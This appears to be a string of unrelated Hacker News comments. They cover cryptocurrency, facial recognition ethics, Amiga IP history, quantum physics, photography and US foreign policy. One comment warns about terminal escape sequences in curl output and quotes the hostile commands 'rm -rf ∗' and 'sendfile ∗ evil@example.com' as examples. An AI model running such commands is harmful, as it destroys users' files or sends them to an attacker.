skysight-inc/HackerNews huggingface dataset:
This sort of "Once we've made everything perfect" reasoning doesn't really reflect reality all that much though; the point is that centralized systems will always be vulnerable to these problems; even if we temporarily fix them, that'll be an exception and sooner or later the systems will fall back into their broken state.

From that premise that the probem is universal, the deduction that the solution is also not just a temporary fix seems like the only reasonably conclusiont to me.

I'm not completely sure whether you're arguing that the bitcoin hype will pass once we've sorted out a few problems, or just that it'd be a nicer world if that could ever be the case; but either way, I don't think cryptocurrencies should be a last resort but instead become the norm. Offense is the best defense, after all.
Turbo Vision, OWL and MFC also made liberal use of RAII.
That's not true. For example: https://link.medium.com/cGM3v6dTC7

Also you can use tornado.cash for example over Tor. Or any dapp via something like metamask (or another wallet) over Tor.
It's insecure by default, in the same way that Windows is a 32 bit shell over a 16 bit DOS core, and doesn't have real memory protection.

It used to be true, and was a valid criticism. It hasn't been true in so long, that claiming so says more about the claimer than the language.
What’s interesting about those robots txt files?
So if it’s his dream when does he start actually focusing on it?
> Of course we are ... more involved in ad tech

Not all tech is ad tech. Please don't lump all tech into your statement of "get paid to sell out those beneath us for a dollar".
I am wondering have you considered the open source NewSQL database solutions like TiDB, CockroachDB? They have the best of both traditional RDBMS and NoSQL and would be the perfect choice to the hyper-growth scenarios.

TiDB could be considered as a scale-out MySQL and CRDB a scale-out Postgres. They are all Spanner-inspired solutions that can help avoid manual sharding.
I wholeheartedly agree with you, in my case I was typing my comment on my phone while waiting on the train. I wanted to get into as many details as possible but not having access to easily typed math notation made my task harder.
Calling the Archimedes a PC would be kind of misleading. It was a personal computer in the sense used before the term implied an IBM compatible.
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>I wonder if they are aware that tests conducted by the ACLU and the like didn’t use the recommended configurations for precision

As I mentioned in other similar threads I also wonder if police is using the recommended configs and not the default ones, because it can't help if somewhere in the cos it shows with small letters that "we recommend for police to use X but everyone else can use Y so we default to Y so if you are the police we recommend you to change Y to X".
This isn't about tracing or hiding source and/or destination. It's about being able to donate at all.
Just throwing this out there since we’re talking about morals: who deserves to be hurt and how do we decide that?

One of the big issues with tech involvement in security and defence is the shift in onus of responsibility from person to algorithm. Just this week we’ve seen a story top HN about a black man who was falsely identified as a terrorist by a facial recognition algorithm [1]. Closer scrutiny showed that the terrorist score was 52%, barely more than a coin flip. Even closer scrutiny showed that the image was grainy. Not once was a human called into the loop to assess the algorithm.

Maybe the intention was good (let’s use facial recognition technology to catch terrorists), but the tech itself was flawed and there was a failure to imagine scenarios where an innocent person is denied their liberty because the tech didn’t work. Add to this the racial inequality, and the lack of empathy becomes deeper. Would anyone feel comfortable deploying facial recognition technology if there was a 50% chance (a coin flip) that they themselves would be hit? Finally, this goes beyond race. Who (in the West) decides who (not the west) should get hurt (be killed really) because they are collateral? Again the empathy gap decides that life is cheap on the other side.

The problem with tech culture is that we don’t like to imagine scenarios where it just simply isn’t up to the task. This can become a matter of life and death (or liberty) when security and defence are involved. At no point am I saying that countries should not invest in technology for security and defence, but that rather such systems are weak if they’re merely brute force (even a conv net can be trained to brute force it’s test accuracy) and not highly accurate. And right now the technology isn’t ready for deployment.

[1]: https://news.ycombinator.com/item?id=23628394
Sinking your whole life savings into something is stupid and it's peoples own fault if they do so and lose everything.
It suddenly occurs to me that RISC OS will now be a viable alternate operating system for modern PCs.

And I'll be able to run BBC BASIC natively on a Mac.
the apps themselves don't go to such abusive extent, but that's because they get all the information from the innumerable sites across the web that embed Facebook tracking code.
SharePoint, Dynamics run on whatever .NET runs, and that includes ARM CPUs.

Project is part of Office.

In any case I though we were talking about consumer devices here.
> It's the engineers who made those companies successful not the other way around.

looks reasonable at first, but not as clear-cut as one might think.

> Wherever you work you have a responsibility to make sure your skills are being used for something you support.

i love it how rosy the world looks when i read this.

i've got acquaintances that fully support the arms trade, spyware, gambling etc they love it, they moved house for these kinds of jobs.

moral of the story is don't assume too much.
The Amiga IP was always under some form of active management following CBMs fall. First Escom AG in Germany, then Gateway, Amino developments and then finally Cloanto. AmigaOS was/is also under active development by Hyperion entertainment.
I've excluded quite a lot of twists and turns but the sum is that AmigaOS was always under active ownership and development.

While the Amiga was actively worked on nobody really cared about the 8-bit stuff. The Commodore name and trademark was not actually included in the IP package, it went to Tulip Computers in the Netherlands. From there it went on to Yeahronimo ventures and then into C= holdings.

The patents and copyrights were always in the big IP package passed around but since there was no real money in dead 8-bit stuff nobody actively enforced the rights on those ROMs. As such I think it would be hard for anybody today to start trying to enforce the IP rights on the 8-bit ROMs, they are so widely spread, distributed and used.

All the IP rights (except the Commodore name and trademark) is now owned and managed by Cloanto. You can buy legal copies of all the ROMs and software from them, they also seem very amenable to make deals with makers of retro computers etc.
130ms is a world better than 500ms and a much welcome improvement, but it is still terrible.

Latency happens throughout the whole stack; Unfortunately much would need to be fixed outside this project to achieve any further significant improvement.

Operating System, firmware, blackbox hardware are some other non-negligible sources of latency. Everything adds up.
The depth and clarity of the advice and the effort put into presenting it work as solid credentials in this case. The author is clearly a “doctor” of design.

Look how well those those graphics get their message across, whilst also matching the style of the text. That takes a real steady hand (both literately and figuratively).
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At a risk of reiterating the same argument: You keep agreeing with me and perhaps not realising it.

> incompatible with the rules of the formal model.

Yes. I agree! In many cases this is just means that the statement is "out-of-scope" for the model. That's fine. That however has no bearing on the validity of the statement, unless the model is all-encompassing. Quantum Mechanics is not all-encompassing, it is not a TOE, and this is well known. It's just that people forget this sometimes.

> A particle in QM

Again, you're agreeing with me. The QM model has a notion of particles that is both a mathematical abstraction and a simplification. It's not what the physical world truly does. It cannot "explain" particles.

> obeys the formal structure laid out

So if I were to write a computer program with things in it that obey the same rules, are these things suddenly real, physical particles just like electrons? How about phonons? Holes? Anti-particles?

Particles are abstractions. They're labels humans assign to certain mathematical structures in certain models. Some of them, like leptons, are real things that exist whether or not they're named. Some of them aren't quite as real. Photons are questionable.

Working physicists were surveyed and asked if they think photons are "just a useful abstraction" for orbital interactions or if they're truly real, in the sense that individual photons travel through space like little point particles. They didn't all agree.

Before you argue that I'm wrong somehow, first figure out why theoretical physicists don't agree about such a basic concept.

> Dijkstra had some very biting things

Dijsktra should have known better than to say that, because the converse of this is that it's easy to lose touch with reality by getting too deep in the weeds of abstract algebra.
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> OrcJIT has a pretty decent caching layer

(Sadly) this is not correct. If you want to cache compiled code between sessions, your only option so far are handwritten object caches along the lines of this example:

https://github.com/llvm/llvm-project/blob/ae47d158a096abad43...
The title on the homepage is spelled wrong but otherwise nice work! :)
Should Google and everyone else also stop paying taxes, because they fund the police?
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The scientists cooled ammonia—normally a gas at room temperature—to minus 33 C to liquify it and then added, in separate experiments, the alkali metals lithium, sodium and potassium.

In these solutions, electrons from the alkali metal initially become trapped in the gaps between ammonia molecules. This creates what scientists call 'solvated electrons,' which are highly reactive but stabilized in the ammonia. These solutions have a characteristic blue color. But given enough solvated electrons, the whole liquid turns bronze and, in essence, becomes a metal while remaining liquid."
What if that limit only applies to individual plugin processes?
Not systen76's fault but they decide to use NVIDIA's GPU for Linux PC (or pick a base model with NVIDIA GPU from Clevo)
Are we going to get angry at staples because they buy paper there too?
Presumably facial recognition technology is only banned for use by city officials, but the title and article are unclear. I would hope FaceID is fine.
The dynamic is just different for those dialling in. People are simply not on the same level than those on site who have a clear advantage. I saw this working relatively well when the person remote is some senior person coming with a lot of experience to insert himself in the conversation. It's maybe even better because others may now have the chance to say something (lol) Generally speaking, this works well, when the main persons of the meeting are not all on site so that the videoconference becomes the primary communication. Otherwise, it's just that those who don't say that much will say even less (or nothing).

Btw, I'm also a big fan of remote working, but no matter how good your communication skills are, you're left behind on the longer term within an hybrid team. You just can't build all these relationships with smalltalk etc. that's another problem
I'm an Olympus user / fan - but my understanding is that Panasonic made the better video bodies. I suspect one generation back would have some highly competent video capabilities are very reasonable prices now.
This is not the case anymore. You must pass the test in the country where you reside.

As for scooters... they're stupidly easy to ride, amd hardly faster than a bicycle which requires no safety equipment or training. Cyclists in Berlin are a greater danger to themselves in my opinion. Some aren't familiar with EU road rules. I wasn't until I got my licence.

Fun fact: they actually replaced my Canadian licence with a German one without any tests. I didn't even know what the yellow diamond sign meant. It's a good thing I started over with my motorcycle licence.
Great manifesto, or at least the beginnings of one.

Favorite Quote:
"Instead of planned obsolescence, there should be planned longevity."

Which, of course, is yet another artifact of capitalism.

I'll contend that our global economic "system" (or lack thereof, in terms of intended consequences) is a far larger determinant of our living conditions than any local/national government, intertwined as it is with "the economy" (in thrall to?)

Let's not forget where planned obsolescence came from, nor the stream of constant revenue it generates for it's practioners (if also, perhaps, casting it's proponents as antagonists to human potential's realization)...

... but onto more practical matters: I've often found cool chips in the trash and wished to be able to onboard their unique capabilities without having to circumvent:

1) an informational vacuum (their maker went bankrupt, or their technical data is locked in some cellar.)

2) "protection" mechanisms designed to create opacity, because "capitalism" and competition, etc.

I am imagining some sort of Forth-Borg performing some kind of JTAG perimeter-scan-like activity that basically can "learn" any hardware at the raw gate level and then impose primitive functional blocks on top, regardless of the original intention of such logical structures.
Am I crazy? probably...

"you will be assimilated" and it guesses the voltages, the high/lows/pullups, bypass caps, etc. perhaps based around a Field Programmable Analog Array..

ok, i'm seriously digressing.

I agree with the author. Bloat and deliberate obfuscation and wasteful fake-"abstractions" that merely obfuscate, bloat, and treat users to less info etc, this all has reached absurd depths of silliness.

I see this sort of movement as (ironically) inspiring new platforms and devices, while perhaps also enabling us to re-examine existing systems in light of such ideas.
Wikipedia weighs in: In addition to the standard periodization, proponents of a long Renaissance put its beginning in the 14th century and its end in the 17th century.

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Oops, don't know how I missed that. Sorry!
While they basically advocating banning people in favor of corporate sensibilities. Cannot have something ugly in their ad spaces Normally I wouldn't even care, it is what I expect from ad-tech. But I think I will remember that. There were other companies.
They need to be removed. Cutting them out is alright.

If they haven't leaked already, they are about to.
Every shot I take with M43 looks nothing like anything taken with a phone.

How much of that is an actual difference in the camera tech and how much of it is subjective perception?

I suspect for things like the two photos you linked to, even the best professional photographers would struggle to tell the type of camera was used to take them. By the time they've gone through a few apps and services and they're being viewed in Google Photos they could have come from a phone, or an M43 camera, or even a high-end medium format dSLR.

I do wildlife photography when I'm not building web stuff (https://www.instagram.com/onion4k/) - that's pretty much impossible with a phone camera simply because you need to a really long focal length for any animals that won't come close to you, but I still see people out in the countryside giving it a try. I often wonder if they're happy with the pictures they take. I suspect they are. For most people photography is about recording the moment more than producing a print quality picture.
I will take this opportunity to offer some caution:

From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.
Yes, but the point is that people rarely if ever used that level of background blur, as it wasn't trendy to, e.g., take portraits where only one eyelash is in focus.
We are able to synthesize methane from electricity+air with high-enough efficiency to use it as a chemical source. Some exotic stuff like asphalt might be difficult to synthesize, but most uses should be replaceable with a methane-based synthesis. Theoretically we could start a tax that progressively dis-incentivizes crude oil and natural gas extraction, but this is going to be hard unless US, EU, and CN agree on this, because the economic advantages of operating a refinery that stamps "synthetic" on their fossil products would be massive.
I still think this is primarily a result of the financial regulations that effectively make it impossible to have an efficient anonymous digital payment system for small transactions.

The result is that adtech is the only other means to fill that need (you pay with data instead of money), so it does, so it's everywhere when it ought not to be.

You can make the case that people should refuse to work on it, but that's a lot easier to achieve in practice when the alternative isn't prohibited by law.

We need something equivalent to cash that works on the internet.
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or perhaps indicative of what "economic value" means in the context of a finite planet with finite resources.

I think you DID nail the needed change point right on the head. Our economic system prioritizes "anyone should be able to do anything at any time for a price, but the price externalities and waste are irrelevant."

I'll draw a parallel with PC's
"This thing should be able to do anything at anytime and be everything to everyone"
vs
"this device runs circuitry and control loops that optimally manage a given pre-described domain"
"Evem 99.999% is not good enough be enough because you will have at least one person that is guaranteed a false arrest and prosecution "

This isn't the right characterisation.

Facial recognition at 95% can be very useful in helping to find people, initiate investigations. It doesn't have to provide grounds for arrest, let alone evidence for a trial.

Of course, there are problems even there, depending on a variety of issues.

Your license plate is being recorded in a variety of places, and for serious crimes, they will definitely use that information to 'look you up' FYI and face-matching isn't that much different.

As for arrest and prosecution, obviously that's another can of worms, but even then, there is a threshold at which we will effectively call it 'evidence'. 99.999% ID + was in the vicinity, plus no alibi, plus motive and prior record? That's a case.

If you think about it - we consider 'video evidence' to be fairly conclusive ... well I doubt humans are actually 99.999% accurate in their ability to matches faces to video! So it adds up.

" When it comes to justice, mistakes are tolerable so long as adequate compensation exists"

There doesn't need to be any compensation if there wasn't any malfeasance or incompetence in the system. To the extent our public servants are all acting above bar, using efficient, fair and lawful methods, then 'compensation' is not really the issue.

"It's better to let actual guilty criminals get away than explicitly and systemically accept even one innocent person being punished incorrectly,"

"accepting any amount of injustice invalidates that legitimacy and authority."

This is not true - by your very own logic. First - a justice system that 'lets people off who are 99.999% chance of being guilty' - implies quite a lot of injustice. Moreover, that in some instances, innocents will go to jail is tragic but absolutely inevitable. Not in 100 years will we have fixed this problem.

Along with some of the racial injustice you mention, you know what is 'unjust'? The amount of crime, particularly murder that goes unpunished in the US due to low case clearances, particularly in violent communities. That means aggressive killers on the block go free, gloat in their crimes, and do it again. Can you imagine having your sibling or child killed, and essentially knowing 'who did it' - but having them go free? This is common.

Facial recognition is not quite ready for prime-time, and it's invasive in ways that license plates are not, so it makes sense to ban it for the time being - however, there are thresholds at which it would make sense. Facial recognition in airports, near high value targets and such systems for alerting police to 'high value, dangerous targets' might make sense. But for everything else it's just not needed.
So few see the connections between slaughter/persecution of non-whites overseas and slaughter/persecution of non-whites here, among those indigenous both to this continent and to Africa. No sooner had we extended our predations to the whole of our territory than we set our sights abroad. The script used in Philippines was a farcical echo of that followed in America over the preceding 150 years, just as numerous massacres there echoed that at Wounded Knee just a decade before. Emilio Aguinaldo would have done better if he had taken notice of previous American treaties and their aftermath. Shortly after he allied with Admiral Dewey against the Spanish, he found the Americans rather wanted to replace the Spanish as imperial overlords, except with more murder. Anywhere from a quarter to a whole million Filipinos were murdered while suffering vicious libel in the USA press. Six decades later, similar numbers of Indonesians suffered the same fate, although in that case CIA was running the show rather than Navy and Army.

Indeed, if there has been any innovation in our racist slaughters, it has been to occasionally keep our fingerprints off the machetes. All the bombs falling in Yemen still say "Made in USA" on the side, though.

The USA political system is a machine that transforms the blood of non-white people into the profits of armaments manufacturers and (sometimes) resource extraction firms. This has been true since before the founding of USA. Even many minorities in USA would rather not acknowledge this awful legacy. Your appeals to the judgment of history will eventually be answered, but I expect that to happen only after this totalitarian polity is replaced by more humane ways to organize life here in North America.
It's an infinite sum of variations of the same photon, not an infinite amount of photons. When it hits the detector (or, really, when the researcher eventually gets entangled with the experiment) it is detected as a single interaction.

This is why the terminology is confusing. A "classical" photon just doesn't exist in the modern treatment but we still need it to talk about what we do.
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